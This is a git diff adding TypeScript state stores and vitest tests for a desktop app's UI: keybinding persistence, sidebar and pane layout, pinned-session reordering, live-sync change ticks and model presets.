+const KEY = 'clawcodex.desktop.keepAwake.v1'
+
+export const $keepAwake = atom<boolean>(typeof window === 'undefined' ? false : storedBoolean(KEY, false))
+
+export function setKeepAwake(on: boolean): void {
+  $keepAwake.set(on)
+}
+
+if (typeof window !== 'undefined') {
+  $keepAwake.subscribe(on => {
+    persistBoolean(KEY, on)
+    window.clawcodexDesktop?.setKeepAwake?.(on)
+  })
+}
diff --git a/ui-desktop/src/store/keybinds.ts b/ui-desktop/src/store/keybinds.ts
new file mode 100644
index 000000000..2c8d3e9fd
--- /dev/null
+++ b/ui-desktop/src/store/keybinds.ts
@@ -0,0 +1,143 @@
+import { atom, computed } from 'nanostores'
+
+import { $registryVersion } from '@/contrib/registry'
+import { allKeybindActions, defaultBindings, keybindAction, type KeybindBindings } from '@/lib/keybinds/actions'
+import { canonicalizeCombo } from '@/lib/keybinds/combo'
+import { arraysEqual, persistString, storedString } from '@/lib/storage'
+
+const STORAGE_KEY = 'clawcodex.desktop.keybinds'
+
+// The user's raw stored overrides. Kept verbatim so an action CONTRIBUTED
+// after module init (plugins register late) still resolves its saved rebind —
+// `bindingsFor` consults this before falling back to shipped defaults.
+function readStoredOverrides(): Record<string, string[]> {
+  const raw = storedString(STORAGE_KEY)
+
+  if (!raw) {
+    return {}
+  }
+
+  try {
+    const parsed = JSON.parse(raw) as Record<string, unknown>
+    const out: Record<string, string[]> = {}
+
+    for (const [id, value] of Object.entries(parsed)) {
+      if (Array.isArray(value)) {
+        out[id] = value.filter((combo): combo is string => typeof combo === 'string')
+      }
+    }
+
+    return out
+  } catch {
+    // Corrupt storage falls back to defaults.
+    return {}
+  }
+}
+
+const storedOverrides = readStoredOverrides()
+
+// Defaults overlaid with the user's stored overrides. Unknown / stale action
+// ids are dropped; actions added in a later release pick up their shipped
+// default; late-registered contributed actions resolve via `bindingsFor`.
+function loadBindings(): KeybindBindings {
+  const base = defaultBindings()
+
+  for (const id of Object.keys(base)) {
+    if (storedOverrides[id]) {
+      base[id] = storedOverrides[id]
+    }
+  }
+
+  return base
+}
+
+// Persist only the actions whose combos differ from their shipped default, so
+// changing a default never gets shadowed by a stored snapshot.
+function persistBindings(bindings: KeybindBindings): void {
+  const defaults = defaultBindings()
+  const diff: KeybindBindings = {}
+
+  for (const action of allKeybindActions()) {
+    const current = bindings[action.id] ?? []
+
+    if (!arraysEqual(current, defaults[action.id] ?? [])) {
+      diff[action.id] = current
+    }
+  }
+
+  persistString(STORAGE_KEY, JSON.stringify(diff))
+}
+
+export const $bindings = atom<KeybindBindings>(loadBindings())
+
+$bindings.subscribe(persistBindings)
+
+/** Live combos for an action: explicit binding → stored override → default. */
+export function bindingsFor(id: string, bindings: KeybindBindings = $bindings.get()): string[] {
+  return bindings[id] ?? storedOverrides[id] ?? [...(keybindAction(id)?.defaults ?? [])]
+}
+
+// Reverse lookup combo → actionId for dispatch. First action wins on conflict;
+// the panel/edit overlay surface conflicts so users can resolve them. Keys go
+// through `canonicalizeCombo` so a `ctrl+…` binding resolves everywhere.
+// Recomputes on registry mutations so contributed actions dispatch live.
+export const $comboIndex = computed([$bindings, $registryVersion], bindings => {
+  const index = new Map<string, string>()
+
+  for (const action of allKeybindActions()) {
+    for (const combo of bindingsFor(action.id, bindings)) {
+      const key = canonicalizeCombo(combo)
+
+      if (!index.has(key)) {
+        index.set(key, action.id)
+      }
+    }
+  }
+
+  return index
+})
+
+export function setBinding(actionId: string, combos: string[]): void {
+  if (!keybindAction(actionId)) {
+    return
+  }
+
+  $bindings.set({ ...$bindings.get(), [actionId]: [...combos] })
+}
+
+export function resetBinding(actionId: string): void {
+  const action = keybindAction(actionId)
+
+  if (!action) {
+    return
+  }
+
+  $bindings.set({ ...$bindings.get(), [actionId]: [...action.defaults] })
+}
+
+export function resetAllBindings(): void {
+  $bindings.set(defaultBindings())
+}
+
+// Other actions that already use `combo` (excluding `actionId` itself).
+export function conflictsFor(actionId: string, combo: string): string[] {
+  const bindings = $bindings.get()
+
+  return allKeybindActions()
+    .map(action => action.id)
+    .filter(id => id !== actionId && bindingsFor(id, bindings).includes(combo))
+}
+
+// ── Capture ─────────────────────────────────────────────────────────────────
+// `$capture` is the action currently listening for its next keypress (a panel
+// row armed for rebinding). Session-only — never persisted.
+
+export const $capture = atom<string | null>(null)
+
+export function beginCapture(actionId: string): void {
+  $capture.set(actionId)
+}
+
+export function endCapture(): void {
+  $capture.set(null)
+}
diff --git a/ui-desktop/src/store/layout-dismissed-projects.test.ts b/ui-desktop/src/store/layout-dismissed-projects.test.ts
new file mode 100644
index 000000000..9aae9cd3e
--- /dev/null
+++ b/ui-desktop/src/store/layout-dismissed-projects.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, it } from 'vitest'
+
+import { filterVisibleProjects } from './layout'
+
+const auto = (id: string) => ({ id, isAuto: true as const })
+const explicit = (id: string) => ({ id, isAuto: false as const })
+const home = { id: '__home__' }
+
+describe('filterVisibleProjects', () => {
+  it('drops dismissed autos and keeps explicit + home + undismissed', () => {
+    const tree = [explicit('p_shop'), auto('/www/otl-theme'), auto('/www/keep'), home]
+    expect(filterVisibleProjects(tree, ['/www/otl-theme', '/www/other']).map(p => p.id)).toEqual([
+      'p_shop',
+      '/www/keep',
+      '__home__'
+    ])
+  })
+
+  it('ignores dismiss ids that hit an explicit project', () => {
+    // List is auto-only by construction; still don't let a stale id hide a real row.
+    const tree = [explicit('p_real'), auto('/www/gone')]
+    expect(filterVisibleProjects(tree, ['p_real', '/www/gone']).map(p => p.id)).toEqual(['p_real'])
+  })
+
+  it('passes the list through when nothing is dismissed', () => {
+    const tree = [auto('/www/a'), explicit('p_b')]
+    expect(filterVisibleProjects(tree, [])).toBe(tree)
+  })
+})
diff --git a/ui-desktop/src/store/layout-pinned-order.test.ts b/ui-desktop/src/store/layout-pinned-order.test.ts
new file mode 100644
index 000000000..219c73d2f
--- /dev/null
+++ b/ui-desktop/src/store/layout-pinned-order.test.ts
@@ -0,0 +1,49 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import { $pinnedSessionIds, setPinnedSessionOrder } from './layout'
+
+beforeEach(() => {
+  $pinnedSessionIds.set([])
+})
+
+describe('setPinnedSessionOrder', () => {
+  it('applies a full reorder', () => {
+    $pinnedSessionIds.set(['a', 'b', 'c'])
+    setPinnedSessionOrder(['c', 'b', 'a'])
+
+    expect($pinnedSessionIds.get()).toEqual(['c', 'b', 'a'])
+  })
+
+  it('reorders a subset in place, leaving unresolved pins alone', () => {
+    // The dragged list only contains pins whose session actually loaded. A pin
+    // whose row hasn't arrived is absent from the drag but must keep its slot
+    // — requiring the two lists to match length discarded the whole reorder.
+    $pinnedSessionIds.set(['loaded1', 'unresolved', 'loaded2'])
+    setPinnedSessionOrder(['loaded2', 'loaded1'])
+
+    expect($pinnedSessionIds.get()).toEqual(['loaded2', 'unresolved', 'loaded1'])
+  })
+
+  it('ignores ids that are not pinned', () => {
+    $pinnedSessionIds.set(['a', 'b'])
+    setPinnedSessionOrder(['b', 'stranger', 'a'])
+
+    expect($pinnedSessionIds.get()).toEqual(['b', 'a'])
+  })
+
+  it('is a no-op when the drag names nothing pinned', () => {
+    const before = ['a', 'b']
+    $pinnedSessionIds.set(before)
+    setPinnedSessionOrder(['ghost'])
+
+    expect($pinnedSessionIds.get()).toBe(before)
+  })
+
+  it('keeps the same array reference when the order is unchanged', () => {
+    const before = ['a', 'b']
+    $pinnedSessionIds.set(before)
+    setPinnedSessionOrder(['a', 'b'])
+
+    expect($pinnedSessionIds.get()).toBe(before)
+  })
+})
diff --git a/ui-desktop/src/store/layout.ts b/ui-desktop/src/store/layout.ts
new file mode 100644
index 000000000..6b6da0e0e
--- /dev/null
+++ b/ui-desktop/src/store/layout.ts
@@ -0,0 +1,454 @@
+import { atom, computed, type ReadableAtom, type WritableAtom } from 'nanostores'
+
+import { SIDEBAR_COLLAPSE_MEDIA_QUERY } from '@/app/layout-constants'
+import { PANE_TOGGLE_REVEAL_EVENT } from '@/components/pane-shell'
+import { isPaneVisible, revealTreePane } from '@/components/pane-shell/tree/store'
+import { matchesQuery } from '@/hooks/use-media-query'
+import { Codecs, persistentAtom } from '@/lib/persisted'
+import { arraysEqual, insertUniqueId, readKey } from '@/lib/storage'
+
+import { $paneStates, ensurePaneRegistered, setPaneOpen, setPaneWidthOverride, togglePane } from './panes'
+
+export const SIDEBAR_DEFAULT_WIDTH = 237
+export const SIDEBAR_MAX_WIDTH = 360
+// Open at the same width as the sessions sidebar so the two rails match, but
+// allow shrinking well below that (~30% under the old 14rem floor) for users who
+// want a narrow tree.
+export const FILE_BROWSER_DEFAULT_WIDTH = `${SIDEBAR_DEFAULT_WIDTH}px`
+export const FILE_BROWSER_MIN_WIDTH = '10rem'
+export const FILE_BROWSER_MAX_WIDTH = '20rem'
+
+export const SIDEBAR_SESSIONS_PAGE_SIZE = 50
+
+const SIDEBAR_PINNED_STORAGE_KEY = 'clawcodex.desktop.pinnedSessions'
+const SIDEBAR_AGENTS_GROUPED_STORAGE_KEY = 'clawcodex.desktop.agentsGroupedByWorkspace'
+const SIDEBAR_CRON_OPEN_STORAGE_KEY = 'clawcodex.desktop.sidebarCronOpen'
+const SIDEBAR_MESSAGING_OPEN_STORAGE_KEY = 'clawcodex.desktop.sidebarMessagingOpen'
+const SIDEBAR_SESSION_ORDER_STORAGE_KEY = 'clawcodex.desktop.sessionOrder'
+const SIDEBAR_SESSION_ORDER_MANUAL_STORAGE_KEY = 'clawcodex.desktop.sessionOrder.manual'
+const SIDEBAR_WORKSPACE_ORDER_STORAGE_KEY = 'clawcodex.desktop.workspaceOrder'
+const SIDEBAR_WORKSPACE_PARENT_ORDER_STORAGE_KEY = 'clawcodex.desktop.workspaceParentOrder'
+const SIDEBAR_PROJECT_ORDER_STORAGE_KEY = 'clawcodex.desktop.projectOrder'
+const SIDEBAR_WORKSPACE_COLLAPSED_STORAGE_KEY = 'clawcodex.desktop.workspaceCollapsed'
+const SIDEBAR_WORKSPACE_NODE_OPEN_STORAGE_KEY = 'clawcodex.desktop.workspaceNodeOpen'
+const SIDEBAR_DISMISSED_AUTO_PROJECTS_STORAGE_KEY = 'clawcodex.desktop.dismissedAutoProjects'
+const SIDEBAR_DISMISSED_WORKTREES_STORAGE_KEY = 'clawcodex.desktop.dismissedWorktrees'
+const PANES_FLIPPED_STORAGE_KEY = 'clawcodex.desktop.panesFlipped'
+const RIGHT_RAIL_ACTIVE_TAB_STORAGE_KEY = 'clawcodex.desktop.rightRailActiveTab'
+
+export const CHAT_SIDEBAR_PANE_ID = 'chat-sidebar'
+export const FILE_BROWSER_PANE_ID = 'file-browser'
+/** The file tree's id in the LAYOUT TREE — distinct from the pane-state id
+ *  above, which keys its open/width record. Toggles need both. */
+export const FILES_PANE_ID = 'files'
+
+/** Every rail tab is a preview of something, namespaced by what backs it: a
+ *  path on disk, a live URL, or an id into the in-memory artifact registry. */
+export type RightRailTabId = `artifact:${string}` | `file:${string}` | `url:${string}`
+
+ensurePaneRegistered(CHAT_SIDEBAR_PANE_ID, { open: true })
+ensurePaneRegistered(FILE_BROWSER_PANE_ID, { open: false })
+
+export const $sidebarOpen: ReadableAtom<boolean> = computed(
+  $paneStates,
+  states => states[CHAT_SIDEBAR_PANE_ID]?.open ?? true
+)
+
+export const $fileBrowserOpen: ReadableAtom<boolean> = computed(
+  $paneStates,
+  states => states[FILE_BROWSER_PANE_ID]?.open ?? false
+)
+
+// Persisted so a relaunch reopens the same rail tab. Null when the rail has no
+// tabs; a restored id with no matching tab is reconciled in the preview store.
+export const $rightRailActiveTabId = persistentAtom<RightRailTabId | null>(RIGHT_RAIL_ACTIVE_TAB_STORAGE_KEY, null, {
+  decode: raw => (raw ? (raw as RightRailTabId) : null),
+  encode: tabId => tabId ?? ''
+})
+
+export const $sidebarWidth: ReadableAtom<number> = computed($paneStates, states => {
+  const override = states[CHAT_SIDEBAR_PANE_ID]?.widthOverride
+
+  return typeof override === 'number' ? override : SIDEBAR_DEFAULT_WIDTH
+})
+
+export const $pinnedSessionIds = persistentAtom(SIDEBAR_PINNED_STORAGE_KEY, [] as string[], Codecs.stringArray)
+export const $sidebarSessionOrderIds = persistentAtom(
+  SIDEBAR_SESSION_ORDER_STORAGE_KEY,
+  [] as string[],
+  Codecs.stringArray
+)
+export const $sidebarSessionOrderManual = persistentAtom(SIDEBAR_SESSION_ORDER_MANUAL_STORAGE_KEY, false, Codecs.bool)
+export const $sidebarWorkspaceOrderIds = persistentAtom(
+  SIDEBAR_WORKSPACE_ORDER_STORAGE_KEY,
+  [] as string[],
+  Codecs.stringArray
+)
+// Order of the top-level repo "parent" groups in the worktree tree (worktrees
+// within a parent reuse $sidebarWorkspaceOrderIds).
+export const $sidebarWorkspaceParentOrderIds = persistentAtom(
+  SIDEBAR_WORKSPACE_PARENT_ORDER_STORAGE_KEY,
+  [] as string[],
+  Codecs.stringArray
+)
+// Manual drag-order of projects in the overview. Empty = the deterministic
+// default sort (active first, explicit before auto, by recency); once the user
+// drags a project their order wins (orderByIds surfaces new projects on top).
+export const $sidebarProjectOrderIds = persistentAtom(
+  SIDEBAR_PROJECT_ORDER_STORAGE_KEY,
+  [] as string[],
+  Codecs.stringArray
+)
+// Explicit open/collapse state for sidebar workspace nodes AND review file-tree
+// folders, keyed by stable node id (repo root / worktree path / `review:<path>`).
+// A stored value is the user's EXPLICIT choice (true = open, false = collapsed);
+// an absent id falls back to the caller's `defaultOpen`.
+//
+// We store the RESOLVED boolean, NOT an XOR against the default (the old
+// `workspaceCollapsed` set did the latter). The XOR was buggy for any node
+// whose default *flips*: a worktree lane defaults collapsed while empty and
+// open once it holds a session, so an explicit expand of an empty lane silently
+// re-read as a "collapse" the moment the lane gained a row — collapsing the very
+// lane the user had just opened to work in. An absolute value survives that flip.
+export const $sidebarWorkspaceNodeOpen = persistentAtom<Record<string, boolean>>(
+  SIDEBAR_WORKSPACE_NODE_OPEN_STORAGE_KEY,
+  migrateWorkspaceCollapsedIds(),
+  Codecs.json<Record<string, boolean>>(raw => {
+    if (!raw || typeof raw !== 'object' || Array.isArray(raw)) {
+      return {}
+    }
+
+    return Object.fromEntries(
+      Object.entries(raw).filter((entry): entry is [string, boolean] => typeof entry[1] === 'boolean')
+    )
+  })
+)
+
+// One-time migration off the old XOR `workspaceCollapsed` string[]. Every id in
+// it was a deviation from a DEFAULT-OPEN node (repos + file-tree folders, whose
+// default never flips), so it maps cleanly to `collapsed` (false). The rare
+// empty-worktree-lane "expand" record maps to `false` too, which just returns
+// that lane to its default-collapsed state — self-healing, not a regression.
+function migrateWorkspaceCollapsedIds(): Record<string, boolean> {
+  if (readKey(SIDEBAR_WORKSPACE_NODE_OPEN_STORAGE_KEY) !== null) {
+    return {}
+  }
+
+  const raw = readKey(SIDEBAR_WORKSPACE_COLLAPSED_STORAGE_KEY)
+
+  if (raw === null) {
+    return {}
+  }
+
+  try {
+    const ids = JSON.parse(raw) as unknown
+
+    if (!Array.isArray(ids)) {
+      return {}
+    }
+
+    return Object.fromEntries(
+      ids.filter((id): id is string => typeof id === 'string' && id.length > 0).map(id => [id, false])
+    )
+  } catch {
+    return {}
+  }
+}
+
+// Auto-derived (git-repo) projects the user has dismissed ("deleted") from the
+// overview. Keyed by repo-root path; persisted so they stay hidden. Explicit
+// projects are deleted for real instead — this only declutters the auto tier.
+export const $dismissedAutoProjectIds = persistentAtom(
+  SIDEBAR_DISMISSED_AUTO_PROJECTS_STORAGE_KEY,
+  [] as string[],
+  Codecs.stringArray
+)
+// Worktree rows removed from the UI after a `git worktree remove`. The on-disk
+// dir is gone but historical sessions still reference its path, so we hide the
+// row by id (worktree path) to keep "remove" feeling real.
+export const $dismissedWorktreeIds = persistentAtom(
+  SIDEBAR_DISMISSED_WORKTREES_STORAGE_KEY,
+  [] as string[],
+  Codecs.stringArray
+)
+export const $sidebarPinsOpen = atom(true)
+export const $sidebarRecentsOpen = atom(true)
+// Cron-job sessions live in their own section below recents, collapsed by
+// default (it only renders at all when cron sessions exist) so the
+// scheduler's `[IMPORTANT: …]` first-message previews don't spam recents.
+export const $sidebarCronOpen = persistentAtom(SIDEBAR_CRON_OPEN_STORAGE_KEY, false, Codecs.bool)
+// Messaging platform sections collapse by default (they can be numerous and
+// tall). We persist the ids the user has *explicitly expanded*, so the default
+// stays collapsed unless they've opened a platform before.
+export const $sidebarMessagingOpenIds = persistentAtom(
+  SIDEBAR_MESSAGING_OPEN_STORAGE_KEY,
+  [] as string[],
+  Codecs.stringArray
+)
+export const $sidebarAgentsGrouped = persistentAtom(SIDEBAR_AGENTS_GROUPED_STORAGE_KEY, false, Codecs.bool)
+// When true, the sessions sidebar moves to the right and the file browser +
+// preview rail move to the left — a mirror of the default layout.
+export const $panesFlipped = persistentAtom(PANES_FLIPPED_STORAGE_KEY, false, Codecs.bool)
+export const $isSidebarResizing = atom(false)
+export const $sessionsLimit = atom(SIDEBAR_SESSIONS_PAGE_SIZE)
+
+// Resolve a node's open state against its default (absent = follow default).
+export function workspaceNodeOpen(id: string, defaultOpen = true): boolean {
+  return $sidebarWorkspaceNodeOpen.get()[id] ?? defaultOpen
+}
+
+// Force a node open/collapsed. Stable across a default flip — used by "+ new
+// session" to reveal the lane it targets and keep it open once it's populated.
+export function setWorkspaceNodeOpen(id: string, open: boolean): void {
+  const current = $sidebarWorkspaceNodeOpen.get()
+
+  if (current[id] === open) {
+    return
+  }
+
+  $sidebarWorkspaceNodeOpen.set({ ...current, [id]: open })
+}
+
+// Toggle a repo/worktree/file-tree node relative to its current resolved state.
+export function toggleWorkspaceNodeCollapsed(id: string, defaultOpen = true): void {
+  setWorkspaceNodeOpen(id, !workspaceNodeOpen(id, defaultOpen))
+}
+
+// Dismiss ("delete") an auto-derived project from the overview.
+export function dismissAutoProject(id: string): void {
+  const current = $dismissedAutoProjectIds.get()
+
+  if (!current.includes(id)) {
+    $dismissedAutoProjectIds.set([...current, id])
+  }
+}
+
+// Auto projects dismissed from the overview stay out of every surface that
+// lists projects (sidebar + ⌘K). Explicit rows never match.
+export function filterVisibleProjects<T extends { id: string; isAuto?: boolean }>(
+  projects: readonly T[],
+  dismissedIds: readonly string[] = $dismissedAutoProjectIds.get()
+): T[] {
+  if (!dismissedIds.length) {
+    return projects as T[]
+  }
+
+  const dismissed = new Set(dismissedIds)
+
+  return projects.filter(project => !(project.isAuto && dismissed.has(project.id)))
+}
+
+// Hide a worktree row after it's been removed via git.
+export function dismissWorktree(id: string): void {
+  const current = $dismissedWorktreeIds.get()
+
+  if (!current.includes(id)) {
+    $dismissedWorktreeIds.set([...current, id])
+  }
+}
+
+// A hidden worktree becomes visible again as soon as the user explicitly starts
+// or opens work there (for example, selecting an already-checked-out branch).
+export function restoreWorktree(id: string): void {
+  const current = $dismissedWorktreeIds.get()
+
+  if (current.includes(id)) {
+    $dismissedWorktreeIds.set(current.filter(worktreeId => worktreeId !== id))
+  }
+}
+
+export function setSidebarWidth(width: number) {
+  const bounded = Math.min(SIDEBAR_MAX_WIDTH, Math.max(SIDEBAR_DEFAULT_WIDTH, width))
+  setPaneWidthOverride(CHAT_SIDEBAR_PANE_ID, bounded)
+}
+
+// Below the collapse breakpoint a collapsible rail leaves the grid and lives as
+// a hover/pin overlay, so open/toggle must route through the reveal event — the
+// docked `open` flag renders a 0px track invisibly. Centralised here so every
+// caller (titlebar, keybinds, session-search, reveal-file) inherits it instead
+// of re-deriving the narrow branch. Returns true when it handled the intent.
+function revealNarrowPane(id: string, mode: 'close' | 'open' | 'toggle'): boolean {
+  if (typeof window === 'undefined' || !matchesQuery(SIDEBAR_COLLAPSE_MEDIA_QUERY)) {
+    return false
+  }
+
+  window.dispatchEvent(new CustomEvent(PANE_TOGGLE_REVEAL_EVENT, { detail: { id, mode } }))
+
+  return true
+}
+
+export function setSidebarOpen(open: boolean) {
+  setPaneOpen(CHAT_SIDEBAR_PANE_ID, open)
+  revealNarrowPane(CHAT_SIDEBAR_PANE_ID, open ? 'open' : 'close')
+}
+
+export function toggleSidebarOpen() {
+  if (!revealNarrowPane(CHAT_SIDEBAR_PANE_ID, 'toggle')) {
+    togglePane(CHAT_SIDEBAR_PANE_ID)
+  }
+}
+
+export function toggleFileBrowserOpen() {
+  if (revealNarrowPane(FILE_BROWSER_PANE_ID, 'toggle')) {
+    return
+  }
+
+  // Ask the TREE, not the pane's boolean. `$fileBrowserOpen` stays true while
+  // the tree pane sits behind a sibling tab in the shared right column (the
+  // preview rail, the diff) or inside a minimized zone, so ⌘J spent its press
+  // re-asserting a value it already held and read as a dead key. Only fold the
+  // side when the tree is genuinely the thing on screen; otherwise bring it
+  // forward through the reveal path, which fronts and un-minimizes.
+  if (!isPaneVisible(FILES_PANE_ID) && $fileBrowserOpen.get()) {
+    revealTreePane(FILES_PANE_ID)
+
+    return
+  }
+
+  togglePane(FILE_BROWSER_PANE_ID)
+}
+
+export function setFileBrowserOpen(open: boolean) {
+  setPaneOpen(FILE_BROWSER_PANE_ID, open)
+  revealNarrowPane(FILE_BROWSER_PANE_ID, open ? 'open' : 'close')
+}
+
+// "Reveal this file in the file-browser tree" — an absolute path the tree
+// subscribes to, expanding ancestor folders and selecting/scrolling to it. Reset
+// to null by the tree once consumed.
+export const $revealInTreeRequest = atom<null | string>(null)
+
+export function revealFileInTree(path: string): void {
+  setFileBrowserOpen(true)
+  $revealInTreeRequest.set(path)
+}
+
+// Hotkey → focus the sessions search field. Opens the sidebar first, then lets
+// the field (which only mounts when the sidebar is open) subscribe + focus.
+export const SESSION_SEARCH_FOCUS_EVENT = 'clawcodex:focus-session-search'
+
+export function requestSessionSearchFocus() {
+  setSidebarOpen(true)
+
+  if (typeof window !== 'undefined') {
+    window.setTimeout(() => window.dispatchEvent(new CustomEvent(SESSION_SEARCH_FOCUS_EVENT)), 0)
+  }
+}
+
+export function togglePanesFlipped() {
+  $panesFlipped.set(!$panesFlipped.get())
+}
+
+export function selectRightRailTab(id: RightRailTabId | null) {
+  $rightRailActiveTabId.set(id)
+}
+
+export function setSidebarPinsOpen(open: boolean) {
+  $sidebarPinsOpen.set(open)
+}
+
+export function setSidebarRecentsOpen(open: boolean) {
+  $sidebarRecentsOpen.set(open)
+}
+
+export function setSidebarCronOpen(open: boolean) {
+  $sidebarCronOpen.set(open)
+}
+
+export function toggleSidebarMessagingOpen(sourceId: string) {
+  const current = $sidebarMessagingOpenIds.get()
+
+  $sidebarMessagingOpenIds.set(
+    current.includes(sourceId) ? current.filter(id => id !== sourceId) : [...current, sourceId]
+  )
+}
+
+export function setSidebarAgentsGrouped(grouped: boolean) {
+  $sidebarAgentsGrouped.set(grouped)
+}
+
+// Write an order list only when it actually changed, so an identical drag
+// result keeps the same array reference and subscribers don't churn.
+function setOrderIds($atom: WritableAtom<string[]>, ids: string[]) {
+  if (!arraysEqual($atom.get(), ids)) {
+    $atom.set(ids)
+  }
+}
+
+export function setSidebarSessionOrderIds(ids: string[]) {
+  setOrderIds($sidebarSessionOrderIds, ids)
+}
+
+export function setSidebarSessionOrderManual(manual: boolean) {
+  if ($sidebarSessionOrderManual.get() !== manual) {
+    $sidebarSessionOrderManual.set(manual)
+  }
+}
+
+export function setSidebarWorkspaceOrderIds(ids: string[]) {
+  setOrderIds($sidebarWorkspaceOrderIds, ids)
+}
+
+export function setSidebarWorkspaceParentOrderIds(ids: string[]) {
+  setOrderIds($sidebarWorkspaceParentOrderIds, ids)
+}
+
+export function setSidebarProjectOrderIds(ids: string[]) {
+  setOrderIds($sidebarProjectOrderIds, ids)
+}
+
+export function setSidebarResizing(resizing: boolean) {
+  $isSidebarResizing.set(resizing)
+}
+
+export function pinSession(sessionId: string, index?: number) {
+  const prev = $pinnedSessionIds.get()
+
+  setOrderIds($pinnedSessionIds, insertUniqueId(prev, sessionId, index ?? prev.filter(id => id !== sessionId).length))
+}
+
+export function unpinSession(sessionId: string) {
+  setOrderIds(
+    $pinnedSessionIds,
+    $pinnedSessionIds.get().filter(id => id !== sessionId)
+  )
+}
+
+// Apply a new pinned order from a drag. The dragged list only holds the pins
+// that currently RESOLVE to a loaded row, so this is a permutation of a subset:
+// re-slot the ids it names into the positions they already occupied, leaving
+// any pin it doesn't mention (row not loaded yet) exactly where it was.
+// Requiring both lists to be the same length instead let one unresolved pin
+// silently discard the whole reorder.
+export function setPinnedSessionOrder(ids: string[]) {
+  const prev = $pinnedSessionIds.get()
+  const pinned = new Set(prev)
+  const moving = ids.filter(id => pinned.has(id))
+
+  if (!moving.length) {
+    return
+  }
+
+  const movingSet = new Set(moving)
+  const next = [...prev]
+  let cursor = 0
+
+  prev.forEach((id, index) => {
+    if (movingSet.has(id)) {
+      next[index] = moving[cursor++]
+    }
+  })
+
+  setOrderIds($pinnedSessionIds, next)
+}
+
+export function bumpSessionsLimit(step: number = SIDEBAR_SESSIONS_PAGE_SIZE) {
+  const safeStep = Math.max(1, Math.floor(step))
+  $sessionsLimit.set($sessionsLimit.get() + safeStep)
+}
+
+export function resetSessionsLimit() {
+  if ($sessionsLimit.get() !== SIDEBAR_SESSIONS_PAGE_SIZE) {
+    $sessionsLimit.set(SIDEBAR_SESSIONS_PAGE_SIZE)
+  }
+}
diff --git a/ui-desktop/src/store/live-sync.ts b/ui-desktop/src/store/live-sync.ts
new file mode 100644
index 000000000..61b2a55cf
--- /dev/null
+++ b/ui-desktop/src/store/live-sync.ts
@@ -0,0 +1,65 @@
+import { atom } from 'nanostores'
+
+// Event-driven "backend data changed" signals — the workspace-events twin for
+// gateway-side state. The change watcher in tui_gateway broadcasts
+// `pet.changed` / `cron.changed` / `sessions.changed` when its on-disk
+// signatures move (see server._broadcast_watched_changes), gateway-event.ts
+// routes them here, and the surfaces that used to poll (cron sidebar/page,
+// messaging lists, pet sprite, live session statuses) subscribe to these ticks
+// and refresh — so they move exactly when the backend acts and stay idle
+// otherwise.
+//
+// `$changeEventsAvailable` is the compat gate: gateway.ready advertises
+// `change_events: true` on backends that broadcast. Consumers keep their old
+// polls as SLOW backstops when it's true and at the legacy cadence when it's
+// false (an older backend), so nothing goes dark mid-upgrade.
+
+export const $changeEventsAvailable = atom(false)
+
+export const $cronChangeTick = atom(0)
+export const $sessionsChangeTick = atom(0)
+export const $platformsChangeTick = atom(0)
+export const $pairingChangeTick = atom(0)
+
+/** `pet.info.meta`-shaped payload carried on `pet.changed` — lets the pet skip
+ *  the heavy sprite refetch when the broadcast already says enabled=false. */
+export interface PetChangeMeta {
+  enabled: boolean
+  slug?: string
+  displayName?: string
+  scale?: number
+  spritesheetRevision?: string
+}
+
+export const $petChange = atom<{ meta?: PetChangeMeta; tick: number }>({ tick: 0 })
+
+export function setChangeEventsAvailable(available: boolean): void {
+  $changeEventsAvailable.set(available)
+}
+
+export function notifyPetChanged(meta?: PetChangeMeta): void {
+  $petChange.set({ meta, tick: $petChange.get().tick + 1 })
+}
+
+export function notifyCronChanged(): void {
+  $cronChangeTick.set($cronChangeTick.get() + 1)
+}
+
+export function notifySessionsChanged(): void {
+  $sessionsChangeTick.set($sessionsChangeTick.get() + 1)
+}
+
+export function notifyPlatformsChanged(): void {
+  $platformsChangeTick.set($platformsChangeTick.get() + 1)
+}
+
+export function notifyPairingChanged(): void {
+  $pairingChangeTick.set($pairingChangeTick.get() + 1)
+}
+
+/** Reset on gateway wipe/reconnect — a new backend re-advertises capability on
+ *  its own gateway.ready, and stale ticks must not fire refreshes into stores
+ *  the wipe just cleared. */
+export function resetLiveSync(): void {
+  $changeEventsAvailable.set(false)
+}
diff --git a/ui-desktop/src/store/model-presets.test.ts b/ui-desktop/src/store/model-presets.test.ts
new file mode 100644
index 000000000..ef37cecc0
--- /dev/null
+++ b/ui-desktop/src/store/model-presets.test.ts
@@ -0,0 +1,58 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import { $modelPresets, applyModelPreset, getModelPreset, modelPresetKey, setModelPreset } from './model-presets'
+import { $currentFastMode, $currentReasoningEffort, setCurrentFastMode, setCurrentReasoningEffort } from './session'
+
+describe('model presets', () => {
+  beforeEach(() => {
+    $modelPresets.set({})
+    setCurrentFastMode(false)
+    setCurrentReasoningEffort('')
+  })
+
+  it('round-trips a preset and merges patches without dropping prior fields', () => {
+    setModelPreset('anthropic', 'claude-opus-4-8', { effort: 'high' })
+    setModelPreset('anthropic', 'claude-opus-4-8', { fast: true })
+
+    expect(getModelPreset('anthropic', 'claude-opus-4-8')).toEqual({ effort: 'high', fast: true })
+  })
+
+  it('returns an empty preset for unknown models', () => {
+    expect(getModelPreset('x', 'y')).toEqual({})
+  })
+
+  it('keys by provider::model', () => {
+    expect(modelPresetKey('openai', 'gpt-5.5')).toBe('openai::gpt-5.5')
+  })
+
+  it('pushes only the provided dimensions to the gateway', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const request = async <T>(method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as T
+    }
+
+    await applyModelPreset({ effort: 'high' }, { failMessage: 'x', request, sessionId: 's1' })
+    await applyModelPreset({}, { failMessage: 'x', request, sessionId: 's1' })
+
+    expect(calls).toEqual([{ method: 'config.set', params: { key: 'reasoning', session_id: 's1', value: 'high' } }])
+  })
+
+  it('applies a fresh-draft preset locally without mutating gateway config', async () => {
+    const calls: { method: string; params?: Record<string, unknown> }[] = []
+
+    const request = async <T>(method: string, params?: Record<string, unknown>) => {
+      calls.push({ method, params })
+
+      return {} as T
+    }
+
+    await applyModelPreset({ effort: 'high', fast: true }, { failMessage: 'x', request, sessionId: null })
+
+    expect($currentReasoningEffort.get()).toBe('high')
+    expect($currentFastMode.get()).toBe(true)
+    expect(calls).toEqual([])
+  })
+})
